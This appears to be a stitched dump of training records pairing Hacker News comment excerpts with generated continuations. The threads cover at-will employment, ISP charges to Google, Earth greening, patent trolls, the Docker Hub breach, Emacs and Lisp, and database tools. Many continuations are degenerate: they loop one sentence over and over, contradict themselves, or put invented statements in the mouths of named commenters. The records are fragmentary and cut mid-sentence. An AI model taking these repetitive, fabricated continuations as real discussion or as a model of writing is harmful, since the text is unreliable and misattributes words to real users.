you failed\naccording to a set of rules that is enforced uniformly. Companies would rather\npay severance than have the courts getting into their HR records.\n\nThe probation period is generally more \"at-will\" than regular employment. For\nmost companies, probation means a couple of things. First, it means that a no-\nshow constitutes voluntary resignation and therefore can't require the company\nto pay unemployment. (This isn't an issue at our level, but most people are\nnot as ambitious and diligent as we are, and no-shows happen.) Second, it\nblocks the \"employee should have been allowed transfer before termination\"\nargument because the going assumption is that no one transfers in a probation\nperiod. Third, it often means no vacation is accrued, which is relevant when\npeople are terminated early on (because they usually haven't used it). Fourth,\nand perhaps most relevant, it means that one should not expect severance if\nterminated in that time.\n\n~~~\ndragonwriter\n> \"At-will\" means that companies have the right to execute strategic layoffs,\n> and also to set performance standards whereever they wish, as long as\n> they're uniformly enforced across that job description. (Both of these, I'd\n> argue"} +{"output_text": " you saying that the ISP should not charge the webmaster for the bandwidth\nconsumed by the ads?\n\n~~~\nbrudgers\nThe ISP is delivering advertising from which Google benefits and which its\nusers are not explicitly requesting.\n\nThe ISP is delivering advertising from which Google benefits and which its\nusers are not explicitly requesting.\n\nThe ISP is delivering advertising from which Google benefits and which its\nusers are not explicitly requesting.\n\nThe ISP is delivering advertising from which Google", "input_text": " I'm not saying Google _needs_ Orange, but it is indeed a strategic\npartner.\n\nOrange is also an highly trusted ISP in France, and (unlike Free) counts many\ncorporations among its clients. Google probably would not risk alienating\nthose clients by engaging in an open conflict with Orange.\n\nAll in all, I don't think any other French ISP would have been able to wrestle\nsuch a deal from Google.\n\n------\nbrudgers\nA plausible case can be made for charging Google based on the amount of\ntraffic generated by their products which is initialized outside of the\nsubscriber's control.\n\nThe ISP is delivering advertising from which Google benefits and which its\nusers are not explicitly requesting. Charging Google is analogous to a cable\nprovider charging an advertising agency when that agency wants to place ads on\nbehalf of their clients.\n\nOther Google services such as Analytics, tracking cookies, and JavaScript\nlibraries also use capacity without considering the effect on the provider's\nbandwidth.\n\nAgain, this is a plausible position. It is plausible because Google is\ngenerating revenue regardless of the ISP's customers' interest and the source\nof the data is outside the ISP's network.\n\nCharging Google is a reasonable alternative to charging their customers for\nsomething which may be of little value to them.\n\n~~~\nrryan\nI disagree. A user requesting is that user requesting\neverything that the webmaster of example.com wanted example.com to include.\nThis includes ads.\n\nThe webmaster has decided that the content hosted on \nincludes some HTML, some off-site resources (maybe images hosted on a CDN,\nmaybe some ads, maybe some Javascript hosted elsewhere).\n\nAre"} +{"output_text": "asa-study-finds)\n\n~~~\nTeMPOraL\n> _I find the title misleading, the main reason Earth is getting greener is\n> mainly because of higher CO2 emissions_\n\nI agree, but I think the title is still a good summary of the article.\n\n------\njimnotgym\nI think the title is misleading. The article is about the increase in leaf\narea, not the increase in greenness.\n\n", "input_text": "?\n\n~~~\nTeMPOraL\n\"You see, Earth is getting greener! Things are getting better! Maybe we don't\nneed to cut down on fossil fuels and wasteful consumption after all!\"\n\n~~~\nhanniabu\nExactly, this is precisely the kind of stuff I hear. Also not sure why so many\ndownvotes lol, I think many misunderstood what I was saying\n\n~~~\nTeMPOraL\nThey must have, yes. You have my upvote, FWIW.\n\n------\nniyaven\nI find the title misleading, the main reason Earth is getting greener is\nmainly because of higher CO2 emissions[0]. Saying the earth is getting greener\nthanks to China and India, is forgetting that ~84% of the increase is not\nrelated to these countries[1].\n\nWhat is truly new, is that human activity in India and China alone is\nresponsable of a 16% increase of leaf area. So, to quote original article:\n\n> now that we know direct human influence is a key driver of the greening\n> Earth, we need to factor this into our climate models\n\n[0] [https://climate.nasa.gov/news/2436/co2-is-making-earth-\ngreen...](https://climate.nasa.gov/news/2436/co2-is-making-earth-greenerfor-\nnow/)\n\n[1] [https://www.nasa.gov/feature/ames/human-activity-in-china-\nan...](https://www.nasa.gov/feature/ames/human-activity-in-china-and-india-\ndominates-the-greening-of-earth-n"} +{"output_text": " body is the main one.\n======\nthrow51319\nI am not sure if this is the right place to ask this question, but I am\ncurious.\n\nI am a heavy drinker, and I have been for a long time. I am not sure if I\nshould quit drinking or not. I am not sure if I should quit drinking for\nhealth reasons or not.\n\nI am not sure if I should quit drinking for financial reasons or not.\n", "input_text": " Patent trolls get paid because short-sighted companies make the decision\nto pay. Simply put, it is usually cheaper in the short run to pay a troll than\nit is to litigate. It is also cheaper to give a schoolyard bully your lunch\nmoney than it is to visit a doctor. The thing is, once you pay the bully,\nhe\u2019ll just come back again and again and again. Eventually, that lunch money\nadds up to a lot more than a doctor\u2019s visit. In the long run the best way to\ndeal with a bully is to punch him square in the face. You might take a\nbeating, but if you do it every time? The bully will find easier prey. >>>\n\nThis is very naive. Patent trolls get paid because they are highly effective\nat weaponizing the legal system.\n\n~~~\nScottBurson\nYou must not be aware of Newegg's success in defending themselves against\npatent trolls. They demonstrated that stonewalling can pay off.\n\n~~~\nunicornmama\nThe plural of anecdote is not data.\n\n------\ntheflyingkiwi42\nIn my experience, attorney fees for screw-ups (accidental or not) get very\nrarely awarded :( Hope just fighting makes the troll go away.\n\n \nAsk HN: What benefits of quitting alcohol consumption? - throw51319\nI've decided to do a "dry" January and if I can do it, will try to extent to all of 2020.

I didn't drink often, not more than once a week. But it was usually a binge episode, having at least 10 drinks.

Has anybody stopped? What were the benefits? I am thinking that the reduction of stress on the"} +{"output_text": "etization rights).\n\nI was told to make it as easy as possible for people to buy domains, and to\nmake it as hard as possible for people to buy domains.\n\nI was told to make it as easy as possible for people to buy domains, and to\nmake it as hard as possible for people to buy domains.\n\nI was told to make it as easy as possible for people to buy domains, and to\nmake it as hard as possible for people to", "input_text": "\n\nWho's buying those ads by the way? Sure it sound like a terrible company, but\nI can help thinking that their customers are worse.\n\n~~~\netjossem\nIf anything, hijacking page real estate makes it _less_ likely the user will\nclick on non-injected ads (which actually pay something out to the content\ncreator).\n\nI believe content creators have a right to seek compensation for their work -\nwhether it's through ads, affiliate links, or a subscription model.\n\nBut what 50onRed does is thievery from the creators, plain and simple.\n\n------\nsettsu\nI worked in the user experience team at that one big American domain company\n(that's well known for mostly the wrong reasons.) Similar situation as the\nstory: great coworkers, great pay, & great perks.\n\nOne of the products I was assigned was the interface for customers to\nconfigure those sites that are intended to monetize a domain with filler\ncontent meant to fool a visitor just enough to milk them for a few cents with\nseemingly legitimate articles/posts and an e-commerce feature that was\nessentially a storefront built entirely from affiliate links.\n\nUnlike the individual in the story, it was immediately clear what my task was:\nmake spamming the Internet as user-friendly as possible. Unfortunately there\nwas no mental gymnastics I could do to reconcile that.\n\nEspecially since the second product I had was domain auctions, which alone is\nnothing more than virtual real estate, but together with the first product is\nthe makings of a thinly-veiled means to skim money off the top of online\npurchases made by ignorant users AND to fool people into believing they could\nprofit from otherwise idle domains (by first paying the company for the\nmon"} +{"output_text": "\nones) they will be in trouble.\n\n> You seem to be defending Google on the basis of their freedoms.\n\nI am not defending Google. I am defending the idea that they can't take away\nthe source code of a product they don't own.\n\n> If you read what I've written, you'll see that I haven't argued they don't\n> have the right to do what they are doing.\n\nI don't think you have. I", "input_text": " isn't about controlling other players?\n\n~~~\nrbanffy\nAre you under the impression Google can take 2.3 away from anyone? They own it\nand they can't. What they are doing is saying they won't release 3.x _for now_\nsource and not really disclosing the reasons. Anything can be behind that\ndecision, including the inclusion of non-Google code in the specific products.\n\nI prefer to think along those lines.\n\n~~~\nrbarooah\nI'm not under that impression. I am under the impression that they have given\nthe 3.x source to some people and not to others, thus choosing who gets to use\nit. Normally we refer to that as 'control'.\n\nThey didn't say _Android 2.3_ is open. They said that _Android_ was open and\nthe purpose was so that no one entity could control the innovation of other\nplayers, and yet that is exactly what they are doing.\n\nYou seem to be defending Google on the basis of their freedoms. If you read\nwhat I've written, you'll see that I haven't argued they don't have the right\nto do what they are doing. I haven't even argued that it's bad.\n\nI am merely pointing out that they have gone back on what they said. You\nhaven't said anything that refutes this.\n\n~~~\nrbanffy\n> they have gone back on what they said.\n\nPoint me, please, where did they say Honeycomb will not be opened. As it is\nnow, it probably has some code that went in to meet launch deadlines and that\nprevents a full release. They may also want to tidy things up before pushing\nit out because if they push out a defective API (and there are lots of new"} +{"output_text": " a PR nightmare for Google\nis pretty telling.\n\n~~~\njlgaddis\nI'm not sure if it's a PR nightmare or not.\n\nI'm not sure if it's a PR nightmare for Google or not.\n\nI'm not sure if it's a PR nightmare for Google or not.\n\nI'm not sure if it's a PR nightmare for Google or not.\n\nI'm not sure if it's a PR nightmare for Google or not.", "input_text": "\n\nThe only thing that got the ball rolling here was the parents of some of the\nkids alerting google.\n\n~~~\nyrb\nI got the impression that SRE basically have low level access to the storage\nstack. So wouldn't be subject to most of the normal application level logging\nthat I would assume would red flag this behaviour pretty fast.\n\nThe only way to get around this is to have someone audit _all_ their actions\nconstantly, which you need someone equally or more familiar with the systems\nthey are working with.\n\nI think that is pretty impossible to implement that level of overview with\nhumans, the best way to go normally is the 'buddy system' so no one can access\na system unless they have a 'buddy' with them. Like the military do in nuclear\nweapon silos.\n\n~~~\njacquesm\nAccess to the low level storage stack would not allow you to query with so\nmuch detail and would likely not have an interface that would allow you to\nmodify user settings at will. So he must have used some higher level tools.\n\n~~~\nbirken\nWell it depends.\n\nFor example if an application uses Bigtable, then the key + column names often\ngives a lot of information about what data is stored there, which if somebody\nhad access to some basic application data they might be able to get at\nsomebodies specific data.\n\nHowever as you might expect there are many safeguards in place, including\nensuring every action is fully and securely authenticated so even low level\nSREs cannot read application data without a paper trail. This story is pretty\nsurprising to me, and if true this guy is an idiot.\n\n------\nrobk\nThis is pretty serious and the fact it's turned into"} +{"output_text": " money, I will do it. If it is more fun, I will do it. If it is more\neffective, I will do it. If it is more efficient, I will do it. If it is more\nfun, I will do it. If it is more effective, I will do it. If it is more\nefficient, I will do it. If it is more fun, I will do it. If it is more\neffective, I will do it. If", "input_text": "\nreureu\nI totally agree, and wasn't arguing that a new title wasn't necessary. And I'm\nok with my downvotes for that comment :)\n\nIt's just funny that \"Data Scientist\" seemed to be originally branded as the\nmore technical/engineer-y version of a data analyst. Now I get recruiters\ncontacting me for \"Data Scientist\" positions that entirely revolves around SQL\nand excel, and nobody in the Bay Area hires \"Data Analysts\" anymore.\n\nAlright, guess it's time to update my LinkedIn and resume to adjust for this\ninflation? Maybe I should jump up a few inflation levels and just become a\n\"Deep Learning Engineer.\"\n\n~~~\nborroka\nI do not see any problem with that. There is a ton of confusion in the tech\nworld regarding labels, who does what, it is needed or not, outside of the\ncore actions that need to be done. The net effect of laying off 50% of tech\npeople from public tech companies might even result in a net positive for the\ncompanies. Not for a tech worker like me, so please do not tell them.\n\nTaking advantage as much as possible of hypes and other people's lazyness is\nfine in my book. It is certainly not my duty from the outside to educate\nrecruiters and business people who make hiring decisions on the field \u2013 when I\ntried, from the inside, to gently point out that what they were thinking did\nnot make any sense, I just put myself in a dangerous spot. I can be a data\nscientist, deep learning engineer, machine learning engineer, machine learning\nresearch scientist, whatever pays more and whoever has the most fun. If using\nan RNN instead of a more effective and efficient linear regression gives me\nmore"} +{"output_text": " is used for\nconcatenation.\n\n~~~\njhuni\nI don't know about that. I use dashes for separating words in my editor.\n\n------\njamesjyu\nI use a similar keyboard layout for Emacs.\n\n\n\n------\njamesjyu\nI use a similar keyboard layout for Emacs.\n\n\n\n~~~\nyuchi\nThat explains also the tilde=home :)\n\nA recent article I've read somewhere explains it very well!\n\n------\nquarterto\nI have the number keys mapped to their symbols (i.e. pressing 1 gives!,\npressing Shift+1 gives 1 etc.) using a custom XKB map. Feels so much more\nefficient, although I don't have any hard stats.\n\n~~~\nlloeki\nSounds almost like a FR layout.\n\n~~~\ndraven\nFR layout is great for this (and writing lisp is easier when the parenthesis\nare easily typed) but the []{} characters are horrible to type!\n\n------\nksec\nInteresting, according to the stats, if you have = sign done with out the\nshift it would have saved another 20% of the keystrokes.\n\n------\nrshm\nThis is my current.Xmodmap file\n\nkeycode 48 = quotedbl apostrophe quotedbl apostrophe\n\nkeycode 66 = Tab Caps_Lock NoSymbol Caps_Lock\n\nkeycode 20 = underscore minus underscore minus\n\n------\njhuni\nUse dashes for separators like in Lisp.\n\n~~~\nLeonidasXIV\nJust it doesn't work in most languages, as the - sign"} +{"output_text": " deployment).\n\n~~~\nbillconan\nI see. Thanks for the explanation.\n\n------\njedberg\nI'm curious how they got the credentials. I'm guessing they used the same\nmethod as the one used to get the credentials for the docker hub.\n\n~~~\nsirclueless\nI'm not sure what you mean by \"the same method\". The credentials were\nobtained by brute force.\n\n~~~\njedberg\nI'm", "input_text": " than Docker is currently disclosing...\n\n------\nmadhuakula\nThis step by step checklist might help you \"what should I do\" to review your\naccounts.\n\n[https://blog.madhuakula.com/some-tips-to-review-docker-\nhub-h...](https://blog.madhuakula.com/some-tips-to-review-docker-hub-hack-\nof-190k-accounts-addcd602aade)\n\n------\nwtdata\nWhat does this means for users? I was using watchtower to auto update the\nimages in my system. One of them was autoupdated after the failure.\n\nCan this be used to upload containers with security exploits in order to gain\naccess to machines (i.e. does it give write access to the containers)?\n\n------\nbillconan\nI\u2019m curious, how can a database be accessed without authorization? If\nauthorization is enabled? Also how unauthorized access can be discovered?\n\nSay I use Mongodb and enabled authorization. Will I be fine then? How to\ndiscover unauthorized access?\n\n~~~\nsirclueless\nAuthorization has a common English definition too. If, for example, an\nemployee's credentials were compromised, anyone who wasn't that employee who\naccessed the database would be considered \"without authorization\". And\nchecking the access logs for any use of that employee's credentials would give\nyou some idea of what data was accessed. Enabling authorization on your\nmongodb is good, but it absolutely won't stop all forms of unauthorized\naccess. They may gain access to your server itself, or gain some credentials\nto your MongoDB database some other way (for example, if someone carelessly\nships them as part of your"} +{"output_text": " massive engineering and\nlogistics problem, it was built by a society that had the desire to build it.\n\n~~~\nlumberjack\nI agree that the desire to go to Mars is a problem, but I don't think it's a\nproblem of technology. I think it's a problem of the human spirit.\n\nI think that the human spirit is what makes us want to go to Mars. It's not\nthe technology, it's the desire to explore.\n", "input_text": ".\n\n------\nsmoyer\nI'd be perfectly willing to die on Mars and (being one of the older one here),\nI'd say it's more likely that I am dead before anyone actually gets there.\n(Note that my family might not like me leaving them behind on Earth).\n\nAs an aside, it's a shame that the artist's rendition reminds me of a trailer\npark in a Florida retirement \"encampment\". I have no intention of retiring\nsomewhere that's populated by snow-birds (well... if I actually retire.\nRetirement sounds terribly boring).\n\n------\nlumberjack\nI see that Mars One will be using the SpaceX vehicles. I wonder if Elon Musk\nwill be fine with this, because as far as I see it, it is actually undermining\nthe competitive spirit of the race for Mars which is more about building the\nbetter technology than actually setting the foot there first just to get your\nname on the history books. For someone as devoted to offering real\ntechnological innovation, as Elon Musk is, it would probably smack a bit of\ncheating.\n\n~~~\nakiselev\nThe obstacle of going to Mars has long since been a problem of desire and not\ntechnology. Obviously better radiation shielding, drugs that reduce the\nnegative effects of zero-g, nuclear propulsion, and other technologies would\nreduce the risk of failure but at the end of the day going to Mars is a\nmassive engineering and logistics problem.\n\nA good analogy (I think) would be the construction of the Great Pyramid of\nGiza. Sure it is trivial to build today with our technology, as (I hope) it\nwill be trivial to travel to Mars in the distant future, but the reason its a\ngreat wonder of the world is because, despite a"} +{"output_text": "used, and I had to go look it up.\n\n[1]\n[https://en.wikipedia.org/wiki/Insertion_sort#Iterative_sort...](https://en.wikipedia.org/wiki/Insertion_sort#Iterative_sorting)\n\n~~~\njameshart\nI think you're right, but I think the point is that you don't have to know\neverything. You can be a generalist, and know enough to", "input_text": "'s a joke in there that start\n\"I've forgotten more than...\") I use APIs to get work done. When I need to be\nmore academic, I search online. The only place anyone's ever required to be so\n'academic' about algorithms, data structures, math, etc is in academia. Step\nout into a job and you have an internet of active developers and useful forums\nare your disposal. Even if a company hired me to write an 'academic' code\nlibrary, I'd do the research, write the implementation, and (after sufficient\ntesting, profiling, etc) forget about it.\n\n~~~\nalexkus\nThe more you \"know\" the less you have to go look for, and when you do have to\ngo look for stuff on the Internet (since you're not omniscient) then you'll\nunderstand more of the pages you get back as results, and understand them\nfaster since there's less groundwork you need to cover.\n\nAn understanding big-O notation is very important if you go searching for\nsorting algorithms and land on a page that has an overview of sorting\nfunctions but listing bogosort as O(n!) and insertion sort as O(n^2), both\nrelatively easy to implement, and this relatively complicated iterative[1]\nquick sort that's listed as O(n log n). Without other clues someone might just\nimplement the one that looks easiest, and it works fine on their test set of\n20 elements, but blows up in the future as their application/site grows and\nslows to a crawl sorting through millions of rows with an insertion sort.\n\nOr, one of the most recent questions in the Mathematics part of the exam made\nme snigger because someone I work with was asking what bignum library was\n"} +{"output_text": " were able to\nachieve the results they did.\n\n~~~\nboxey\nI'm not missing the point. The point is that the image sensors are not\nsufficiently advanced to capture the required light without using a special\nlens and artificially illuminate the bystanders.\n\n~~~\naeturnum\nI'm not sure what you're trying to say. The point is that the image sensors\nare not sufficient to capture the required light without using a special lens\n", "input_text": "&\n======\ngknoy\n\"... from approximately 1 m using a... 39 megapixel digital camera... with\n120 mm macro lens\"\n\nGood news: At least we can still trust that normaly surveillance cameras won't\nhave the kind of resolution to perform this feat.\n\n~~~\nboxey\n... with 2x Bowens DX1000 1kW flash lamps with dish reflectors to illuminate\nthe bystanders at a distance of 1 meter.\n\nThat's ridiculous. Why is this even published?\n\n~~~\nhvidgaard\nThe point is that the information is clearly there, and with current\ntechnology it is possible to extract it under ideal circumstances. It's not to\nsay it's feasible or will be, but it's not hard to imagine sensors becoming\nadvanced enough to capture the required light without using a special lens and\nartificially illuminate the bystanders.\n\n~~~\nboxey\nWrong, current image sensors have around ~50% quantum efficiency nowadays. [1]\nThat's 1 f-stop from the theoretical maximum, while they're pushing around 10\nf-stops above the top-of-the-line mobile phone cam / security cam.\n\nThe pace of technology is still limited by physics - if they take out the 2kW\nmonster flash then the lens size needs to be increased to a diameter of\nseveral meters, just to maintain the same performance at a distance of 1 meter\n(!).\n\n[1]\n[https://en.wikipedia.org/wiki/Quantum_efficiency](https://en.wikipedia.org/wiki/Quantum_efficiency)\n\n~~~\naeturnum\nYou're missing the point. This is not a paper on image acquisition, it is a\npaper on image processing. Because they began from scratch, they"} +{"output_text": " is a rare skill.\n\n------\njimhefferon\nI was at the first meeting of the \"Augmented Knowledge Workshop\" in 1968.\n\nI was a graduate student at the time, and I was invited to give a talk. I\ndidn't know what to talk about, so I just talked about what I was doing.\n\nI was a little nervous, but I was very excited.\n\nI was the only graduate student there.\n\nI was", "input_text": "intellectualism\" comment was about.\n\n>The undisguised appeal to anti-intellectualism and anti-individualism was\nfrightening. He was talking about his \"augmented knowledge workshop\" and I was\nconstantly reminded of Manny Lehman's vigorous complaint about the American\neducational system that is extremely \"knowledge oriented\", failing to do\njustice to the fact that one of the main objects of education is the insight\nthat makes quite a lot of knowledge superfluous.\n\nWish the author went into more detail on why now may be different than during\nKay/Engelbart's time.\n\n[0]\n[https://www.cs.utexas.edu/users/EWD/transcriptions/EWD03xx/E...](https://www.cs.utexas.edu/users/EWD/transcriptions/EWD03xx/EWD387.html)\n\n~~~\nrasz_pl\nThere is this \"Tim van Gelder on Douglas Engelbart, Intelligence Amplification\nand Argument Mapping\"\n\n[https://www.youtube.com/watch?v=P77FvUy-\nNGA](https://www.youtube.com/watch?v=P77FvUy-NGA)\n\n------\nakkartik\nThe EWD by Dijkstra now actually mentions Engelbart by name:\n[https://www.cs.utexas.edu/users/EWD/ewd03xx/EWD387.PDF](https://www.cs.utexas.edu/users/EWD/ewd03xx/EWD387.PDF).\n\n~~~\ntlb\nProps to Dijkstra for choosing the right topics to have strong opinions about,\nwhich"} +{"output_text": " comments.\n\n------\njedberg\nI'm not sure if this is a good thing or not.\n\nI think it's a good thing that people are trying to make parking more\nefficient.\n\nBut I also think it's a good thing that people are trying to make parking\nmore expensive.\n\nI think it's a good thing that people are trying to make parking more\ndifficult.\n\nI think it's a good thing that people are trying to make", "input_text": " all of the content in one tweet\n\n[https://twitter.com/saallyjohnsonn/status/121719070339206758...](https://twitter.com/saallyjohnsonn/status/1217190703392067584)\n\n------\naninteger\nWhatever happened to parking permits, parking officers, and parking tickets?\n\n~~~\nISL\nBoots are used to ensure compliance from those who would skip parking fines.\n\n~~~\n_jal\n\"Parking here [inconveniences|isn't fair to|creates danger for] others, so if\nyou leave your car here, we will make the situation worse by ensuring the\nalleged harm will continue longer than it otherwise would.\"\n\nYes, something something deterrence. Again, in reality, the article explains\nhow that played out.\n\nProper law enforcement isn't cheap, and if it is a profit center, you don't\nhave peace officers, you have highwaymen.\n\n------\nselfishgene\nMaybe online degree programs should start advertising:\n\n\"No Parking Fees EVER!\"\n\nKnow someone that got a master's degree from the comfort of his own living\nroom for under $10K and is now earning a decent six-digit salary.\n\n------\nunnouinceput\nQuote: \"The company\u2019s CEO says improvements have been made to counter these\nhacks already, but we\u2019re curious to see where this parking arms race heads\nnext.\" Me too, lol. Can't wait to see as well, I mean you put your low\nsolution vs students who eat this stuff as hobby and you think you'll best\nthem? good luck there Mr. CEO\n\n------\nScoundreller\nThis is just a bunch of unverified reddit"} +{"output_text": " the\nprivacy of most of the biggest tech companies in the EU.\n\n[1] [https://www.irishtimes.com/business/technology/data-\nprotection...](https://www.irishtimes.com/business/technology/data-protection-\ncommissioner-says-she-has-no-power-over-tech-companies-1.4201122)\n\n[2] [https://www.ir", "input_text": " point out that Valentines day is originally a European\ntradition.\n\n~~~\nxxs\nIndeed, the 'tradition'/origin has the roots somewhere down the Roman Empire,\n3rd century. Now it has been commercialized to a high degree.\n\nMy point was something like: take US holidays grade on the scale 1-10;\nChristmas 10, Halloween, Thanksgiving Day - 9, 4th of July, New Year - 8....\nValentine's Day - 4, Memorial Day - 2. (not all rated, obviously)\n\nGermany - barely registers as anything; Spain, Sweden, Estonia - not a thing\nat all. There might be promotions, advertising, etc. but it's not an engraved\nthing for the decision to matter the date/proximity of Valentine's Day.\n\n------\nbilekas\nIreland has a lot of strange relationships with large tech companies, but I\ncan say for sure, we have some great data protection laws.\n\nGenuinely delighted that some people pay attention to these things and know\nwhat they're talking about.\n\n~~~\nF30\nLaws maybe, though these are set at the EU level (and one might argue about\nthe greatness of GDPR).\n\nStill, the rest of the EU (or at least Germany) is quite unhappy with the\nenforcement of these laws in Ireland. It is absurd that the Irish Data\nProtection Commissioner is supposed to control the privacy of most larger tech\ncorporations for the whole EU. A few years ago, they only had 22 employees and\ntheir only office was literally co-located with a supermarket in the suburbs\n[1]. They got a second office since then and apparently are now at around 100\nemployees [2], but that is still quite small if you have to control"} +{"output_text": "I think RMS is the reason why GNU can't have nice things.\n\n~~~\nJulianMorrison\nI think RMS is the reason why GNU can't have nice things.\n\n------\njordigh\nI'm not sure I understand the point of this article. It seems to be saying\nthat the GNU Emacs project is a mess, and that the GNU Emacs community is\nunable to fix it.\n\nBut the GNU Emacs project is a mess because", "input_text": " incompatibilities gradually (so that packages can\ncatch up in some humane timeframe). I could imagine the ELisp runtime being\nintertwined with the Emacs C code badly enough that making radical changes to\nit would seem \"impossible\", just like in the CPython codebase it is considered\nimpossible to ditch GIL and modernise the code. But those kind of comments are\noften excuses because people are lazy and it's nicer to write new code.\n\n~~~\nJulianMorrison\nIf I was them, I'd gradually introduce the minimum set of breaking changes to\nELisp that converge it on Common Lisp. Even if those changes were unhelpful or\nremoved features. Then eventually, when it maps 1:1 onto a subset of CL, just\nswap the implementation for a supported CL.\n\n~~~\nmjn\nSome years ago the a clisp maintainer actually made a minimal demo of Emacs\nhosted on clisp with just a compatibility layer for Elisp via\nmacros/functions, which seemed to work pretty well. But it didn't progress any\nfurther because Stallman vetoed basing Emacs on Common Lisp (he considers CL\nto be too big a language, and to some extent just doesn't like it). In\nretrospect I'm not sure this was a good call: Guile as a general VM with\ncustom infrastructure to support both Scheme and Elisp is not really a more\nclean, minimalistic infrastructure anyway. The semantics of Elisp/Scheme are\ntoo different to be able to just stick in a Scheme implementation with a\nsmallish compatibility layer, like you could with Elisp hosted on CL.\n\n~~~\nJulianMorrison\nToo often it seems RMS is why GNU can't have nice things.\n\n~~~\nfleitz\n"} +{"output_text": " thing?\n\nIs it to get a job?\n\nIs it to get a promotion?\n\nIs it to get a raise?\n\nIs it to get a better job?\n\nIs it to get a better job?\n\nIs it to get a better job?\n\nIs it to get a better job?\n\nIs it to get a better job?\n\nIs it to get a better job?\n\nIs it to get a better job?\n", "input_text": ".\n\n------\nohyes\nI skipped undergrad CS and went directly to a masters.\n\nThere are \u2018working professionals\u2019 masters degrees that are geared towards this\ntype of thing. They don\u2019t have the cachet of Stanford or whatever, but can be\ninteresting and useful if you apply yourself.\n\nIf they accept you, they will make you take a prerequisite class to ensure you\nare at the right level.\n\nI wouldn\u2019t expect a monetary gain from this as college is quite expensive, it\nisn\u2019t clear a degree noticeably increases your salary. I would recommend doing\nit primarily out of personal interest.\n\nIt does make the \u2018foot in the door\u2019 at a bigger company easier, but it\u2019s not\nclear that it has directly helped me in that way due to the size of companies\nI normally gravitate towards. The knowledge has been very useful, however.\n\n~~~\ndarpa_escapee\n> I skipped undergrad CS and went directly to a masters.\n\nDid you have any undergrad credits or degree?\n\n~~~\nohyes\nI had some credits, no degree. I didn\u2019t want to take calculus and at the time\n(I think it would have been 4 courses in it, amounting to 1/8 of my credits).\n\nI wasn\u2019t particularly bad at math, just uninterested in rehashing calculus.\nOther stuff was more interesting than a double major. (Music, English,\nScience).\n\nI had been working as a software engineer for about a year, so that helped.\n\nIt also helped a lot that I have had some very supportive mentors in my life\n(willing to recommend me).\n\n------\nmehh\nWhy? Why do you want a degree?\n\nIs it purely a personal"} +{"output_text": " is used by many companies to get feedback on their products.\n\n[https://www.usertesting.com/](https://www.usertesting.com/)\n\n~~~\nrgbrgb\nThanks for the link! I'll check it out.\n\n------\njameslk\nI've been in a similar situation. I've been working on a side project for a\nfew months now and I've been getting more and more anxious about it. I've\nt", "input_text": "\ndangero\nWould love to see something like this done in augmented reality so you point\nit at a chess board and it gives you info about the game in progress.\n\n~~~\nyeldarb\nCheck in later this week :)\n\n(Not chess but I think we\u2019re on the same page!)\n\n------\ntonyinthehouse\nThis could be very useful for building your own chess bot! I am definitely\ngoing try this out when I have some free time.\n\n \nAsk HN: How did you get over your fear of shipping? - fratlas\nCurrently building a web app and feature creep and an intense feeling that the product is worthless (I enjoy using it, but it's niche so hard to user-test) is a daily occurrence. is this normal?\n======\nrgbrgb\nHere's an open secret that might make you feel more comfortable: you can\nlaunch as many times as you want until people notice. Here's an awful public\nlaunch:\n[https://news.ycombinator.com/item?id=13343276](https://news.ycombinator.com/item?id=13343276).\nThere's no signup, buttons seem not to work. Nobody's going to care/remember\nif they try again when the app is more baked in a couple weeks.\n\nIf you're not sure if your thing is usable, find someone who you can watch use\nit in person.\n\n~~~\nscreensquid\n> If you're not sure if your thing is usable, find someone who you can watch\n> use it in person.\n\nIf you can't find someone to use it in person, you can get user experience\nfeedback with a session recording tool. I am the author of such software,\nwhich"} +{"output_text": ", but I am interested in\nthe quality of my sleep.\n\n~~~\nio\nI haven't compared it to any other products. I'm not sure I'd be interested in\nan optimal waking time, either. I'm just interested in getting a good night's\nsleep.\n\n------\njoshu\nI'm curious about the \"sleep cycle\" feature.\n\n~~~\nio\nI'm not sure what you mean. I don't know if it's a", "input_text": " Fyi I have not.\n\n~~~\nspydertennis\nSend us an email: contact@wakemate.com and we'll figure it out.\n\n------\nchancho\nAny users with small children care to share your experiences? Is it even worth\nthe bother, given that huge uncontrollable variable in your sleep habits?\n\n~~~\nio\nI was kind of curious about this, too. If I wake up in the middle of the night\nto deal with a sick toddler, will WakeMate know I'm fully awake based on the\nfact that I'm walking around? I suppose it would be much like waking up to go\nto the bathroom, for those without young kids.\n\nObviously the alarm's only going to help if I set it for a window I know is\nbefore the kids wake up. Otherwise it's their voices that'll wake me. On work\ndays, that would suit my usual routine. On the weekend, I'm not sure it would\nbe worth it to forego a potential extra hour of sleep by setting the WakeMate\nalarm.\n\nBut it's still tempting, just to chart my sleep during the week and be able to\nmeasure the effects of caffeine, exercise, etc. I'll probably wait until there\nare reviews and testimonials from people who have used it for a few months.\n\nI was tempted a couple years ago by a much more expensive product whose name I\ncan't recall. I think it was $300-400. In contrast, it's pretty easy to take a\nchance on $60. Cool product, guys. I hope you're wildly successful.\n\n------\ndesigooner\nHave you compared some of your analytics/benchmarks with competing products?\n\nI am not sure I'm interested in an optimal waking time"} +{"output_text": ".\n\n\\- The ability to use the same tools to create and manage data models is\nsuperior to MSSQL.\n\n\\- The ability to use the same tools to create and manage data models is\nsuperior to MSSQL.\n\n\\- The ability to use the same tools to create and manage data models is\nsuperior to MSSQL.\n\n\\- The ability to use the same tools to create and manage data models is\nsuperior to MSSQL.\n\n\\-", "input_text": "\nfergussimpson\nThanks, I've fixed it now!\n\n~~~\ntronje\nThank you! I didn't mean to come across as overly critical, but I really think\nit is a much nicer reading experience now. Very cool that you considered my\ncriticism :)\n\n------\nfrechtoast\nI'm of the opinion that life doesn't exist elsewhere. That said, I don't care\nenough to even try to support my own bias. I'm not going to spend time trying\nto get anyone to believe either way, because we've got bigger issues right\nnow. Aliens aren't here, starvation is.\n\nHow did this ridiculous tinfoil-hat article even make it into Hacker News!?\n\n~~~\ndrdeca\nIs it tinfoil hat? I was not under the impression that it was suggesting any\nsort of conspiracy or anything.\n\nEven if the arguments it makes are wrong I'm not under the impression that\nthey are particularly kooky.\n\n \nPostgreSQL vs. SQL Server from the point of view of a data analyst (2014) - insulanian\nhttps://www.pg-versus-ms.com/\n======\nnetcraft\nMy previous job(s) were primarily MSSQL and I was excited to get to use PG in\nmy current position. In general I agree with the premise of the article - for\njust about everything PG is better. For me, the only places where MSSQL has an\nedge is:\n\n\\- Management Studio is superior to any standard query manager ive found for\nPG. I currently use what is in intellij (which is similar to their datagrip\nproduct) which I find perfectly acceptable and in some ways superior to\nManagement Studio, but PGAdmin isn't in the same ballpark"} +{"output_text": " problems, and it's a lot of fun.\n\n~~~\nCyberFonic\nI agree with 